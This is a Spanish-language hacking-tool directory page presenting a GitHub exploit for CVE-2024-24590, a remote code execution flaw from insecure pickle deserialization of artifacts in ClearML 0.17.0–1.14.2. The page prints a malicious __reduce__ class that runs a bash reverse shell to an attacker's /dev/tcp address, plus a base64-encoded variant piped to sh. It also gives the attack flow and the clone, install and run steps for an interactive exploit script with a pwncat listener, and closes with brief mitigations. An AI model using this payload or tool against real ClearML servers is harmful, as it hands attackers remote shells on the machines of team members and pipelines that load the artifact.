Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-24590-ClearML-RCE-Exploit — CVE-2024-24590 – ClearML RCE mediante deserialización insegura de artefactos pickle (0.17.0–1.14.2) | Kitploit
Herramientas/GitHubGitHub/rippsec/cve-2024-24590-clearml-rce-exploit
Generación de PayloadsAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónComando y ControlAprendizaje y EducaciónRed TeamingHerramienta de Acceso Remoto
GitHubrippsec/cve-2024-24590-clearml-rce-exploit

CVE-2024-24590-ClearML-RCE-Exploit

CVE-2024-24590 – ClearML RCE mediante deserialización insegura de artefactos pickle (0.17.0–1.14.2)

Ver Repositorio
62hace 4 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2024-24590 — Explotación RCE mediante Pickle Artifact en ClearML

Resumen

CampoDetalles
CVECVE-2024-24590
SoftwareClearML
Versiones afectadas0.17.0 – 1.14.2
VulnerabilidadDeserialización insegura de pickle de artefactos de tareas
AutenticaciónRequiere acceso de escritura a un proyecto ClearML
ImpactoEjecución remota de código en cualquier máquina que cargue el artefacto
Probado enUbuntu 22.04, Python 3.9+

Descripción

ClearML es una plataforma MLOps utilizada para rastrear experimentos, gestionar conjuntos de datos y compartir artefactos (modelos, archivos, objetos) entre miembros del equipo. Cuando un artefacto de tarea se sube como un objeto Python, ClearML lo serializa utilizando el módulo pickle de Python. Cuando otro usuario descarga y carga ese artefacto, ClearML lo deserializa — también con pickle — sin ninguna verificación de integridad ni lista blanca de clases.

Un atacante con acceso de escritura a un proyecto ClearML compartido puede subir un artefacto malicioso que contenga un método __reduce__ sobrescrito. Cualquier miembro del equipo o pipeline automatizado que obtenga y cargue ese artefacto ejecutará la carga útil del atacante durante la deserialización, logrando RCE en su máquina.

Detalles Técnicos

Causa Raíz

El módulo pickle de Python es fundamentalmente inseguro para entrada no confiable. El método mágico __reduce__ en una clase controla cómo se reconstruye durante la deserialización — puede devolver cualquier invocable y argumentos, incluyendo os.system:

root@kitploit:~
class exploit:
    def __reduce__(self):
        return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)

Cuando se picklea y luego se despiclea, Python llama a os.system(cmd) como parte de la reconstrucción del objeto — antes de que el invocador tenga alguna oportunidad de inspeccionar el objeto.

Flujo del Ataque

root@kitploit:~
Atacante (acceso de escritura al proyecto)
    │
    ▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
    │
    ▼
El servidor ClearML almacena el artefacto como un blob binario pickeado
    │
    ▼
Víctima obtiene el artefacto (pipeline automatizado / revisión manual)
    task.artifacts["model"].get()
    │
    ▼
pickle.loads(blob) → __reduce__ se dispara → os.system(reverse_shell_cmd)
    │
    ▼
Shell inverso se conecta de vuelta al atacante

Codificación de la Carga Útil

El comando de shell inverso se codifica en Base64 antes de incrustarlo para evitar problemas de quoting en la cadena serializada:

root@kitploit:~
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'

Requisitos Previos

  • Una cuenta de ClearML con acceso de escritura al menos a un proyecto en el servidor objetivo
  • La víctima debe deserializar el artefacto (obtenerlo a través del SDK de ClearML)

Instalación

root@kitploit:~
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt

Requisitos: clearml, pwntools, colorama

Uso

root@kitploit:~
python3 exploit.py

El menú interactivo guía a través de dos pasos:

Paso 1 — Inicializar ClearML (opción 1)

Ejecuta clearml-init para configurar las credenciales para el servidor ClearML objetivo. Primero realiza una copia de seguridad de cualquier ~/clearml.conf existente.

Paso 2 — Ejecutar exploit (opción 2)

Solicita:

  • Tu IP de escucha
  • Tu puerto de escucha
  • Nombre del proyecto objetivo (sensible a mayúsculas — debe ser un proyecto al que tengas acceso de escritura)

Opcionalmente inicia un listener pwncat automáticamente antes de subir el artefacto.

screenshot

Mitigación

  • Actualizar a ClearML ≥ 1.14.3 que restringe la deserialización de artefactos
  • Auditar controles de acceso al proyecto — limitar el acceso de escritura solo a usuarios de confianza
  • Tratar el almacenamiento de artefactos de ClearML como una superficie de ejecución de código no confiable si se usan versiones antiguas

Referencias

  • Entrada NVD
  • GitHub de ClearML
  • Aviso de seguridad de pickle de Python
Descargar herramienta